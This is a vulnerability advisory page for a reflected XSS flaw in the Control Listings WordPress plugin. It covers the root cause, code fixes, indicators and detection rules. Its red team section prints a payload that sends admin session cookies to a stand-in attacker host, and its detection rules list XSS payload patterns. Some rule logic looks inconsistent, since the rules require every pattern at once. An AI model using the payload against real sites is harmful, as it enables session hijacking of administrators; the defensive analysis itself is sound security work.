CVE-2025-46234
Executive Summary
CVE-2025-46234 is a reflected Cross-Site Scripting (XSS) vulnerability in the Control Listings WordPress plugin, developed by Habibur Rahman Razib. The flaw exists in versions from n/a through 1.0.4.1, where user-supplied input is not properly neutralized during web page generation. An attacker can craft a malicious URL that, when visited by an authenticated administrator, executes arbitrary JavaScript in the context of the WordPress admin dashboard. This can lead to session hijacking, privilege escalation, or defacement. The vulnerability is classified as WordPress ecosystem issue and is not related to Apache or Nginx.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No known supply chain compromise has been identified, but the lack of a patch increases risk for sites using this plugin. Administrators should verify plugin integrity and consider removing the plugin until a fix is released.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must click a crafted link)
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
The threat level is High due to the low complexity and no privileges required, though user interaction is needed. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but this may change as details become public.
Deep Dive & Mechanics
The vulnerability resides in the control-listings plugin, which handles listing management in WordPress. The plugin fails to sanitize or escape user-supplied input before reflecting it in the HTTP response. Specifically, parameters such as search, category, or order are echoed directly into the page without proper encoding. An attacker can inject JavaScript payloads via these parameters.
Root Cause: The plugin uses echo $_GET['param'] or similar constructs without applying WordPress escaping functions like esc_html() or esc_attr(). This allows arbitrary HTML/JavaScript injection.
Attack Flow:
- Attacker crafts a URL:
https://target.com/wp-admin/admin.php?page=control-listings&search=<script>alert('XSS')</script> - Victim (admin) clicks the link while authenticated.
- The script executes in the admin context, allowing the attacker to steal cookies, modify settings, or create new admin users.
Vulnerable vs. Patched Code
Vulnerable Code (example from control-listings <= 1.0.4.1):
<?php
// Vulnerable: direct echo of user input
$search = $_GET['search'];
echo "<div>Search results for: " . $search . "</div>";
?>
Patched Code (hypothetical fix):
<?php
// Patched: use WordPress escaping
$search = isset($_GET['search']) ? esc_html($_GET['search']) : '';
echo "<div>Search results for: " . $search . "</div>";
?>
The fix involves using esc_html() or esc_attr() to encode special characters, preventing script injection.
Exploitation & Lab Setup
Red Team (Attacker)
- Setup: Use a local WordPress instance with Control Listings 1.0.4.1 installed.
- Craft Payload: Create a URL with a malicious script:
http://localhost/wp-admin/admin.php?page=control-listings&search=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Deliver: Send the link to an authenticated admin via email or social engineering.
- Execute: When the admin clicks, the script sends their session cookie to the attacker's server.
Blue Team (Defender)
- Detection: Monitor for unusual
searchparameters in admin URLs containing<script>tags. - Prevention: Implement Web Application Firewall (WAF) rules to block reflected XSS patterns.
- Response: If exploited, revoke all admin sessions, change passwords, and remove the plugin.
Indicators of Compromise (IOCs)
- Network: HTTP requests to
/wp-admin/admin.php?page=control-listingswithsearchparameter containing<script>,onerror,onload, orjavascript:. - Logs: Apache/Nginx access logs showing
GET /wp-admin/admin.php?page=control-listings&search=%3Cscript%3E(URL-encoded script tags). - File: Modified WordPress admin user roles or unexpected admin accounts.
- Cookie: Unusual outbound requests to attacker-controlled domains from admin sessions.
Detection Engineering
YARA Rule
rule Detect_CVE_2025_46234_XSS_Payload {
meta:
description = "Detects reflected XSS payloads targeting Control Listings plugin"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-46234"
strings:
$payload1 = "<script" nocase
$payload2 = "onerror=" nocase
$payload3 = "onload=" nocase
$payload4 = "javascript:" nocase
$url_pattern = "/wp-admin/admin.php?page=control-listings" nocase
condition:
$url_pattern and any of ($payload*)
}
Sigma Rule
title: Reflected XSS in Control Listings Plugin
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects reflected XSS attempts against Control Listings WordPress plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/wp-admin/admin.php?page=control-listings'
cs-uri-query|contains|all:
- '<script'
- 'onerror'
- 'onload'
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in search parameters (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-46234 - Reflected XSS in Control Listings"; flow:to_server,established; content:"/wp-admin/admin.php?page=control-listings"; http_uri; content:"<script"; http_uri; nocase; content:"onerror"; http_uri; nocase; content:"onload"; http_uri; nocase; content:"javascript:"; http_uri; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable or remove the Control Listings plugin until a patch is released.
- Short-term: Implement a Web Application Firewall (WAF) rule to block requests containing
<script>tags in thesearchparameter. - Long-term: Contact the plugin author for a patched version. If no patch is available, consider migrating to an alternative plugin.
- User Education: Train administrators to avoid clicking suspicious links, especially those containing query parameters.
- Monitoring: Enable logging for all admin page requests and review for anomalous patterns.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.